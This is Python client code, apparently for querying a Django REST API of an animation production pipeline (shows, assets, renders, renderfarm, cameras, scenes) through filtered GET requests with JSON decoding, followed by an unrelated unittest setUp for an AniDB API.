assets) if query_strings: show_url = "%s?%s" % (show_url, "&".join(query_strings)) self.log.info("Getting: %s" %show_url) response = self.session.get(show_url) if response.status_code == 200: show = json.loads(response.text, object_hook = deserializers.decode_show) return show else: self.log.info(show_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: assets def assets( self, assets_url = None, type_primary = None, type_secondary = None, type_tertiary = None, code = None, description = None, comment = None, start_frame = None, end_frame = None, data = None, stats_version = None, stats_verts = None, stats_faces = None, stats_tris = None, stats_objects = None, stats_lamps = None, stats_memory = None, created = None, modified = None, images = None, parents = None, layers = None, children = None, movies = None, renders = None, show = None, versions = None, groups = None, ): if not assets_url: assets_url = self.assets_url query_strings = [] if type_primary: query_strings.append("type_primary=%s" % type_primary) if type_secondary: query_strings.append("type_secondary=%s" % type_secondary) if type_tertiary: query_strings.append("type_tertiary=%s" % type_tertiary) if code: query_strings.append("code=%s" % code) if description: query_strings.append("description=%s" % description) if comment: query_strings.append("comment=%s" % comment) if start_frame: query_strings.append("start_frame=%s" % start_frame) if end_frame: query_strings.append("end_frame=%s" % end_frame) if data: query_strings.append("data=%s" % data) if stats_version: query_strings.append("stats_version=%s" % stats_version) if stats_verts: query_strings.append("stats_verts=%s" % stats_verts) if stats_faces: query_strings.append("stats_faces=%s" % stats_faces) if stats_tris: query_strings.append("stats_tris=%s" % stats_tris) if stats_objects: query_strings.append("stats_objects=%s" % stats_objects) if stats_lamps: query_strings.append("stats_lamps=%s" % stats_lamps) if stats_memory: query_strings.append("stats_memory=%s" % stats_memory) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if images: query_strings.append("images=%s" % images) if parents: query_strings.append("parents=%s" % parents) if layers: query_strings.append("layers=%s" % layers) if children: query_strings.append("children=%s" % children) if movies: query_strings.append("movies=%s" % movies) if renders: query_strings.append("renders=%s" % renders) if show: query_strings.append("show=%s" % show) if versions: query_strings.append("versions=%s" % versions) if groups: query_strings.append("groups=%s" % groups) if query_strings: assets_url = "%s?%s" % (assets_url, "&".join(query_strings)) self.log.info("Getting: %s" %assets_url) response = self.session.get(assets_url) if response.status_code == 200: assets = json.loads(response.text, object_hook = deserializers.decode_assets) return assets else: self.log.info(assets_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: versions def versions( self, versions_url = None, version = None, comment = None, created = None, asset = None, ): if not versions_url: versions_url = self.versions_url query_strings = [] if version: query_strings.append("version=%s" % version) if comment: query_strings.append("comment=%s" % comment) if created: query_strings.append("created=%s" % created) if asset: query_strings.append("asset=%s" % asset) if query_strings: versions_url = "%s?%s" % (versions_url, "&".join(query_strings)) self.log.info("Getting: %s" %versions_url) response = self.session.get(versions_url) if response.status_code == 200: versions = json.loads(response.text, object_hook = deserializers.decode_versions) return versions else: self.log.info(versions_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: movies def movies( self, movies_url = None, name = None, filepath = None, created = None, modified = None, asset = None, ): if not movies_url: movies_url = self.movies_url query_strings = [] if name: query_strings.append("name=%s" % name) if filepath: query_strings.append("filepath=%s" % filepath) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if asset: query_strings.append("asset=%s" % asset) if query_strings: movies_url = "%s?%s" % (movies_url, "&".join(query_strings)) self.log.info("Getting: %s" %movies_url) response = self.session.get(movies_url) if response.status_code == 200: movies = json.loads(response.text, object_hook = deserializers.decode_movies) return movies else: self.log.info(movies_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: images def images( self, images_url = None, name = None, filepath = None, created = None, modified = None, assets = None, ): if not images_url: images_url = self.images_url query_strings = [] if name: query_strings.append("name=%s" % name) if filepath: query_strings.append("filepath=%s" % filepath) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if assets: query_strings.append("assets=%s" % assets) if query_strings: images_url = "%s?%s" % (images_url, "&".join(query_strings)) self.log.info("Getting: %s" %images_url) response = self.session.get(images_url) if response.status_code == 200: images = json.loads(response.text, object_hook = deserializers.decode_images) return images else: self.log.info(images_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: companies def companies( self, companies_url = None, name = None, project_root = None, source_root = None, render_root = None, created = None, modified = None, shows = None, ): if not companies_url: companies_url = self.companies_url query_strings = [] if name: query_strings.append("name=%s" % name) if project_root: query_strings.append("project_root=%s" % project_root) if source_root: query_strings.append("source_root=%s" % source_root) if render_root: query_strings.append("render_root=%s" % render_root) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if shows: query_strings.append("shows=%s" % shows) if query_strings: companies_url = "%s?%s" % (companies_url, "&".join(query_strings)) self.log.info("Getting: %s" %companies_url) response = self.session.get(companies_url) if response.status_code == 200: companies = json.loads(response.text, object_hook = deserializers.decode_companies) return companies else: self.log.info(companies_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: renders def layer( self, layer_url = None, name = None, layer_type = None, start = None, end = None, created = None, modified = None, jobs = None, asset = None, ): if not layer_url: layer_url = self.layer_url query_strings = [] if name: query_strings.append("name=%s" % name) if layer_type: query_strings.append("layer_type=%s" % layer_type) if start: query_strings.append("start=%s" % start) if end: query_strings.append("end=%s" % end) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if jobs: query_strings.append("jobs=%s" % jobs) if asset: query_strings.append("asset=%s" % asset) if query_strings: layer_url = "%s?%s" % (layer_url, "&".join(query_strings)) self.log.info("Getting: %s" %layer_url) response = self.session.get(layer_url) if response.status_code == 200: layer = json.loads(response.text, object_hook = deserializers.decode_layer) return layer else: self.log.info(layer_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def render( self, render_url = None, start = None, end = None, created = None, modified = None, jobs = None, asset = None, ): if not render_url: render_url = self.render_url query_strings = [] if start: query_strings.append("start=%s" % start) if end: query_strings.append("end=%s" % end) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if jobs: query_strings.append("jobs=%s" % jobs) if asset: query_strings.append("asset=%s" % asset) if query_strings: render_url = "%s?%s" % (render_url, "&".join(query_strings)) self.log.info("Getting: %s" %render_url) response = self.session.get(render_url) if response.status_code == 200: render = json.loads(response.text, object_hook = deserializers.decode_render) return render else: self.log.info(render_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: renderfarm def renderfarm( self, renderfarm_url = None, job = None, duration = None, jobtask_total_time = None, jobtask_average_time = None, jobtask_total_time_norm = None, jobtask_average_time_norm = None, created = None, modified = None, render = None, layer = None, ): if not renderfarm_url: renderfarm_url = self.renderfarm_url query_strings = [] if job: query_strings.append("job=%s" % job) if duration: query_strings.append("duration=%s" % duration) if jobtask_total_time: query_strings.append("jobtask_total_time=%s" % jobtask_total_time) if jobtask_average_time: query_strings.append("jobtask_average_time=%s" % jobtask_average_time) if jobtask_total_time_norm: query_strings.append("jobtask_total_time_norm=%s" % jobtask_total_time_norm) if jobtask_average_time_norm: query_strings.append("jobtask_average_time_norm=%s" % jobtask_average_time_norm) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if render: query_strings.append("render=%s" % render) if layer: query_strings.append("layer=%s" % layer) if query_strings: renderfarm_url = "%s?%s" % (renderfarm_url, "&".join(query_strings)) self.log.info("Getting: %s" %renderfarm_url) response = self.session.get(renderfarm_url) if response.status_code == 200: renderfarm = json.loads(response.text, object_hook = deserializers.decode_renderfarm) return renderfarm else: self.log.info(renderfarm_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: nodes def action( self, action_url = None, name = None, ): if not action_url: action_url = self.action_url query_strings = [] if name: query_strings.append("name=%s" % name) if query_strings: action_url = "%s?%s" % (action_url, "&".join(query_strings)) self.log.info("Getting: %s" %action_url) response = self.session.get(action_url) if response.status_code == 200: action = json.loads(response.text, object_hook = deserializers.decode_action) return action else: self.log.info(action_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def camera( self, camera_url = None, name = None, clip_start = None, clip_end = None, camera_type = None, focal_length = None, sensor_width = None, ): if not camera_url: camera_url = self.camera_url query_strings = [] if name: query_strings.append("name=%s" % name) if clip_start: query_strings.append("clip_start=%s" % clip_start) if clip_end: query_strings.append("clip_end=%s" % clip_end) if camera_type: query_strings.append("camera_type=%s" % camera_type) if focal_length: query_strings.append("focal_length=%s" % focal_length) if sensor_width: query_strings.append("sensor_width=%s" % sensor_width) if query_strings: camera_url = "%s?%s" % (camera_url, "&".join(query_strings)) self.log.info("Getting: %s" %camera_url) response = self.session.get(camera_url) if response.status_code == 200: camera = json.loads(response.text, object_hook = deserializers.decode_camera) return camera else: self.log.info(camera_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def group( self, group_url = None, name = None, asset = None, ): if not group_url: group_url = self.group_url query_strings = [] if name: query_strings.append("name=%s" % name) if asset: query_strings.append("asset=%s" % asset) if query_strings: group_url = "%s?%s" % (group_url, "&".join(query_strings)) self.log.info("Getting: %s" %group_url) response = self.session.get(group_url) if response.status_code == 200: group = json.loads(response.text, object_hook = deserializers.decode_group) return group else: self.log.info(group_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def material( self, material_url = None, name = None, ): if not material_url: material_url = self.material_url query_strings = [] if name: query_strings.append("name=%s" % name) if query_strings: material_url = "%s?%s" % (material_url, "&".join(query_strings)) self.log.info("Getting: %s" %material_url) response = self.session.get(material_url) if response.status_code == 200: material = json.loads(response.text, object_hook = deserializers.decode_material) return material else: self.log.info(material_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def scene( self, scene_url = None, name = None, camera = None, world = None, frame_start = None, frame_end = None, frame_current = None, ): if not scene_url: scene_url = self.scene_url query_strings = [] if name: query_strings.append("name=%s" % name) if camera: query_strings.append("camera=%s" % camera) if world: query_strings.append("world=%s" % world) if frame_start: query_strings.append("frame_start=%s" % frame_start) if frame_end: query_strings.append("frame_end=%s" % frame_end) if frame_current: query_strings.append("frame_current=%s" % frame_current) if query_strings: scene_url = "%s?%s" % (scene_url, "&".join(query_strings)) self.log.info("Getting: %s" %scene_url) response = self.session.get(scene_url) if response.status_code == 200: scene = json.loads(response.text, object_hook = deserializers.decode_scene) return scene else: self.log.info(scene_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def world( self, world_url = None, name = None, ): if not world_url: world_url = self.world_url query_strings = [] if name: query_strings.append("name=%s" % name) if query_strings: world_url = "%s?%s" % (world_url, "&".join(query_strings)) self.log.info("Getting: %s" %world_url) response = self.session.get(world_url) if response.status_code == 200: world = json.loads(response.text, object_hook = deserializers.decode_world) return world else: self.log.info(world_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None
def setUp(self): AbstractAPI.CACHE["http://anidb.net/api/animetitles.xml.gz"] = open("../cache/anidb.anime-titles.xml").read() self.api = AniDB() self.log = Log.create_log(__name__)